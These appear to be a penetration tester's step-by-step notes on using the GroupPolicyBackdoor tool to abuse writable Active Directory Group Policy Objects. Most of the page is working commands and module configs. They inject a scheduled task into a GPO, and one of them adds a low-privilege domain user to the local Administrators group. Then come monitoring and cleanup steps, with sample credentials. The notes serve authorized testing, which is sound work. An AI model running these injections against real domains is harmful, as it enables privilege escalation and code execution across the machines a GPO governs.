# GroupPolicyBackdoor
A cool [tool](https://github.com/synacktiv/GroupPolicyBackdoor) for "Group Policy Objects (GPOs) manipulation and exploitation".

## Install
```
git clone https://github.com/synacktiv/GroupPolicyBackdoor
python3 -m venv .venv && source .venv/bin/activate
python3 -m pip install -r requirements.txt
```
The tool relies on GSSAPI for Kerberos authentication, so it should be installed system-wide.  For Debian systems do:

```
apt install libkrb5-dev
```

See the [wiki](https://github.com/synacktiv/GroupPolicyBackdoor/wiki) for more info

## Back up a GPO before mucking with it
```
python3 gpb.py restore backup -d 'corp.com' -o './gpobackupz' --dc ad01-dc.corp.com -u 'john' -p 'Password1!' -n 'TARGET_GPO'
```

### Design a malicious SCHEDULED task
Look at one of the example `.ini` files in the `modules_templates` subfolder, but here's a simple one that will do a `whoami` and save the result to `c:\` so you can know for sure if the evil task fired:

**Scheduled task**
```
; Scheduled Task POC - identity proof to C:\, scoped to SQL07 ONLY
[MODULECONFIG]
name = Scheduled Tasks
type = computer

[MODULEOPTIONS]
action = create
task_type = scheduled
program = cmd.exe
arguments = /c whoami > C:\gpo_poc.txt
repeat_every = 60
expiration_date = 2026-10-30T23:00:00
task_name = GPO POC
author = domainadmin
description = Authorized penetration test POC - safe to remove

[MODULEFILTERS]
filters =
    [
        {
            "operator": "AND",
            "type": "Environment Variable",
            "variableName": "COMPUTERNAME",
            "value": "SQL07"
        }
    ]
```
**Immediate task**
```
; Immediate task - add domain user to local Administrators
[MODULECONFIG]
name = Scheduled Tasks
type = computer

[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c net localgroup Administrators MYLAB\lowpriv /add
task_name = GPO POC2
author = SOMEDOMAINADMIN
description = Authorized penetration test POC - safe to remove

[MODULEFILTERS]
filters =
    [
        {
            "operator": "AND",
            "type": "Environment Variable",
            "variableName": "COMPUTERNAME",
            "value": "SQL07"
        }
    ]
```

## Push the evil scheduled task
```
python3 gpb.py gpo inject --domain 'domain.com' --dc 'dc.domain.com' -u lowpriv -p 'JingleAllTheWay!' --verbose --gpo-name 'VulnerableGPO' --module sql07pwnage.ini
```

!!!tip
Note that this will create a state folder -i.e. `state_folders/2026_10_29_225152_236351 `. You'll need this for cleanup later (see below).
!!!

## Monitor the task's success/failure
I first used this tool to push changes to a GPO that applied to a server I had local admin on, so from a WinRM shell I first sanity-checked if the GPO applied to my system:

```
gpresult /r /scope computer
```

Then I force-refreshed GPO processing:
```
gpupdate /force
```

I checked to see if the task made it to the queue:
```
schtasks /query /tn "GPO POC" /fo LIST /v
```

You can also check to see the timestamps of recent GPO refreshes:

```
Get-EventLog -LogName System -Source Microsoft-Windows-GroupPolicy -Newest 10
```

## Cleanup the evil scheduled task out of the GPO
```
python3 gpb.py gpo clean --domain 'domain.com' --dc 'dc.domain.com' -u lowpriv -p 'JingleAllTheWay!' --state-folder state_folders/2026_10_29_225152_236351/
```

## Cleanup artifacts off the target system(s)
Read [this](https://github.com/synacktiv/GroupPolicyBackdoor/wiki/03_Usage#3-cleaning-injected-configurations) but essentially whenever possible, the tool will create a .ini file that reverses the action performed by client devices.  So in our case:

```
python3 gpb.py gpo inject --domain 'domain.com' --dc 'dc.domain.com' -m 'state_folders/2026_10_29_225152_236351/revert/reverse_Scheduled_Task_create_netKRp.ini' --gpo-name 'VulnerableGPO'
```

And/or you could WinRM directly to the box and nuke the scheduled task by name:

```
schtasks /delete /tn "GPO POC" /f
```